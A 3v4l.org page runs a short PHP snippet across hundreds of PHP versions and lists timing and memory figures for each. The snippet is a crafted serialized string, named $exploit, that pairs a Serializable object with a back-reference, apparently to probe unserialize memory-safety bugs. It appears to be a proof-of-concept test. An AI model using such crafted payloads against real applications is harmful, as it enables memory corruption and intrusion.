3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { public $data; } $object = new obj(); $object->data = 1; $inner = serialize($object); $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.00616.75
8.3.50.0140.00821.87
8.3.40.0110.00418.71
8.3.30.0070.00718.50
8.3.20.0080.00020.34
8.3.10.0000.00823.62
8.3.00.0080.00019.25
8.2.180.0130.00318.06
8.2.170.0100.00322.96
8.2.160.0070.00720.39
8.2.150.0030.00624.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0080.00026.16
8.2.110.0060.00320.38
8.2.100.0090.00317.91
8.2.90.0050.00219.08
8.2.80.0000.00817.97
8.2.70.0040.00417.75
8.2.60.0090.00017.93
8.2.50.0030.00518.07
8.2.40.0070.00019.41
8.2.30.0000.00720.48
8.2.20.0020.00517.74
8.2.10.0000.00817.95
8.2.00.0000.00718.00
8.1.280.0100.00725.92
8.1.270.0040.00423.79
8.1.260.0000.00726.35
8.1.250.0000.00728.09
8.1.240.0100.00023.91
8.1.230.0070.00420.88
8.1.220.0080.00017.74
8.1.210.0000.00818.77
8.1.200.0030.00617.35
8.1.190.0080.00017.23
8.1.180.0060.00318.10
8.1.170.0050.00818.56
8.1.160.0000.00721.92
8.1.150.0040.00418.71
8.1.140.0050.00319.41
8.1.130.0000.00817.66
8.1.120.0080.00017.44
8.1.110.0030.00317.42
8.1.100.0030.00517.41
8.1.90.0040.00417.32
8.1.80.0040.00417.29
8.1.70.0080.00017.37
8.1.60.0060.00317.48
8.1.50.0000.00817.45
8.1.40.0000.00817.52
8.1.30.0040.00417.59
8.1.20.0040.00417.50
8.1.10.0040.00417.45
8.1.00.0040.00417.29
8.0.300.0040.00418.77
8.0.290.0040.00416.75
8.0.280.0030.00318.32
8.0.270.0030.00317.06
8.0.260.0060.00017.20
8.0.250.0040.00416.93
8.0.240.0040.00416.91
8.0.230.0050.00316.93
8.0.220.0050.00216.90
8.0.210.0040.00416.95
8.0.200.0000.00716.98
8.0.190.0060.00317.02
8.0.180.0000.00716.95
8.0.170.0000.00716.84
8.0.160.0040.00416.98
8.0.150.0070.00016.93
8.0.140.0000.00716.76
8.0.130.0030.00313.35
8.0.120.0000.00816.89
8.0.110.0050.00216.91
8.0.100.0070.00016.78
8.0.90.0050.00216.78
8.0.80.0110.00916.82
8.0.70.0040.00416.96
8.0.60.0000.00716.94
8.0.50.0040.00416.73
8.0.30.0090.00717.05
8.0.20.0090.01017.40
8.0.10.0050.00316.91
8.0.00.0100.00816.72
7.4.330.0050.00015.09
7.4.320.0040.00416.59
7.4.300.0000.00616.55
7.4.290.0000.00716.52
7.4.280.0040.00416.35
7.4.270.0030.00316.48
7.4.260.0000.00716.48
7.4.250.0040.00416.51
7.4.240.0030.00416.50
7.4.230.0070.00016.45
7.4.220.0100.01016.57
7.4.210.0100.00816.50
7.4.200.0040.00416.34
7.4.160.0060.00916.64
7.4.150.0140.00417.40
7.4.140.0090.00917.86
7.4.130.0080.01216.47
7.4.120.0110.00616.53
7.4.110.0150.00316.52
7.4.100.0060.01316.31
7.4.90.0110.00716.47
7.4.80.0150.00719.39
7.4.70.0060.01216.41
7.4.60.0060.01016.36
7.4.50.0040.00416.59
7.4.40.0100.00716.30
7.4.30.0180.00016.52
7.4.10.0100.01014.59
7.4.00.0070.00815.00
7.3.330.0000.00513.21
7.3.320.0020.00213.05
7.3.310.0030.00316.32
7.3.300.0000.00616.10
7.3.290.0000.00716.15
7.3.280.0080.01016.22
7.3.270.0180.00017.40
7.3.260.0170.00416.42
7.3.250.0120.00716.24
7.3.240.0150.00516.29
7.3.230.0150.00316.50
7.3.210.0070.01116.41
7.3.200.0100.00716.29
7.3.190.0030.01316.41
7.3.180.0130.00316.21
7.3.170.0070.01316.29
7.3.160.0000.01616.41
7.3.130.0070.01114.74
7.3.120.0030.01314.88
7.3.110.0030.01714.79
7.3.100.0110.00314.51
7.3.90.0100.00314.74
7.3.80.0060.00614.88
7.3.70.0000.01214.58
7.3.60.0030.01014.48
7.3.50.0070.00714.59
7.3.40.0030.00614.72
7.3.30.0070.00714.41
7.3.20.0030.01416.68
7.3.10.0080.00416.41
7.3.00.0090.00616.49
7.2.330.0040.01516.67
7.2.320.0110.00816.66
7.2.310.0100.01016.52
7.2.300.0090.01216.60
7.2.290.0120.00616.29
7.2.260.0070.01114.75
7.2.250.0110.00314.95
7.2.240.0030.01015.13
7.2.230.0090.00614.86
7.2.220.0130.00314.94
7.2.210.0000.00915.00
7.2.200.0030.00714.69
7.2.190.0030.00615.00
7.2.180.0060.00614.95
7.2.170.0130.00315.06
7.2.160.0060.00914.75
7.2.150.0030.01216.52
7.2.140.0070.00416.74
7.2.130.0060.00316.64
7.2.120.0060.00316.60
7.2.110.0100.00316.39
7.2.100.0040.00816.79
7.2.90.0070.01116.96
7.2.80.0130.00316.90
7.2.70.0030.00916.79
7.2.60.0070.01216.80
7.2.50.0090.00616.85
7.2.40.0060.00916.62
7.2.30.0100.00616.59
7.2.20.0070.00716.71
7.2.10.0070.00316.68
7.2.00.0040.00917.90
7.1.330.0140.00015.56
7.1.320.0100.00015.88
7.1.310.0000.01315.48
7.1.300.0030.01415.76
7.1.290.0030.00715.83
7.1.280.0120.00315.78
7.1.270.0030.01315.50
7.1.260.0000.01315.62
7.1.250.0000.01315.73
7.1.240.0070.00715.73
7.1.230.0040.01115.70
7.1.220.0000.01015.68
7.1.210.0000.01115.24
7.1.200.0060.00615.65
7.1.190.0030.01015.79
7.1.180.0130.00615.78
7.1.170.0060.00915.52
7.1.160.0000.01315.49
7.1.150.0040.00415.75
7.1.140.0040.00815.33
7.1.130.0100.00315.74
7.1.120.0040.00415.75
7.1.110.0060.00815.50
7.1.100.0030.00816.65
7.1.90.0050.00515.32
7.1.80.0030.00615.77
7.1.70.0050.00616.34
7.1.60.0050.00917.59
7.1.50.0050.00924.96
7.1.40.0040.00915.54
7.1.30.0070.00715.31
7.1.20.0040.00715.75
7.1.10.0060.00615.42
7.1.00.0030.04319.00
7.0.330.0040.01115.12
7.0.320.0070.01015.45
7.0.310.0100.00015.23
7.0.300.0090.00315.29
7.0.290.0070.00715.05
7.0.280.0100.00014.90
7.0.270.0030.01015.44
7.0.260.0090.00315.36
7.0.250.0040.00415.11
7.0.240.0060.00615.23
7.0.230.0070.00015.39
7.0.220.0030.00615.48
7.0.210.0000.00715.46
7.0.200.0270.00814.94
7.0.190.0050.00315.12
7.0.180.0000.01315.40
7.0.170.0030.00715.10
7.0.160.0040.00415.19
7.0.150.0030.01115.43
7.0.140.0060.00615.20
7.0.130.0080.00415.11
7.0.120.0030.01015.40
7.0.110.0050.00315.43
7.0.100.0050.00515.28
7.0.90.0040.01115.38
7.0.80.0070.00315.36
7.0.70.0040.00415.20
7.0.60.0050.04017.65
7.0.50.0070.04416.60
7.0.40.0050.04716.67
7.0.30.0000.05116.70
7.0.20.0170.02716.70
7.0.10.0090.02116.75
7.0.00.0050.04816.70
5.6.400.0000.01614.32
5.6.390.0060.00614.26
5.6.380.0060.00913.91
5.6.370.0030.01014.20
5.6.360.0070.00714.03
5.6.350.0000.01414.43
5.6.340.0090.00013.92
5.6.330.0070.01013.76
5.6.320.0070.00714.27
5.6.310.0030.00913.78
5.6.300.0090.00014.13
5.6.290.0060.00614.25
5.6.280.0080.03217.54
5.6.270.0040.01014.22
5.6.260.0000.00814.21
5.6.250.0040.01114.25
5.6.240.0040.00814.38
5.6.230.0040.01114.19
5.6.220.0130.00014.26
5.6.210.0120.04217.41
5.6.200.0070.02316.29
5.6.190.0050.02717.50
5.6.180.0130.04617.36
5.6.170.0150.02517.32
5.6.160.0120.04017.31
5.6.150.0040.03716.28
5.6.140.0090.03716.03
5.6.130.0060.04116.04
5.6.120.0070.04317.49
5.6.110.0080.04617.58
5.6.100.0130.03717.68
5.6.90.0020.02817.57
5.6.80.0100.04317.22
5.6.70.0000.01213.94
5.6.60.0030.01014.08
5.6.50.0030.00714.20
5.6.40.0040.00814.36
5.6.30.0000.01113.93
5.6.20.0080.00614.05
5.6.10.0000.01314.14
5.6.00.0030.01014.03
5.5.380.0070.00314.15
5.5.370.0070.01013.85
5.5.360.0060.00314.16
5.5.350.0070.03817.12
5.5.340.0100.02215.81
5.5.330.0110.04017.16
5.5.320.0140.03717.28
5.5.310.0170.02817.29
5.5.300.0020.02415.97
5.5.290.0050.04616.05
5.5.280.0080.03117.34
5.5.270.0050.02317.17
5.5.260.0090.02417.25
5.5.250.0070.04217.15
5.5.240.0130.03016.96
5.5.230.0050.00513.91
5.5.220.0110.00414.18
5.5.210.0110.00314.15
5.5.200.0140.00014.16
5.5.190.0040.00713.86
5.5.180.0000.01313.80
5.5.170.0040.00413.60
5.5.160.0070.00313.85
5.5.150.0070.00713.89
5.5.140.0100.00313.73
5.5.130.0040.00413.80
5.5.120.0000.01413.97
5.5.110.0040.01113.82
5.5.100.0000.00813.89
5.5.90.0030.01013.92
5.5.80.0070.00713.46
5.5.70.0070.00714.02
5.5.60.0080.00413.64
5.5.50.0060.00314.02
5.5.40.0000.00913.80
5.5.30.0000.00913.79
5.5.20.0030.01313.92
5.5.10.0070.00714.18
5.5.00.0070.00713.75

preferences:
59.16 ms | 401 KiB | 5 Q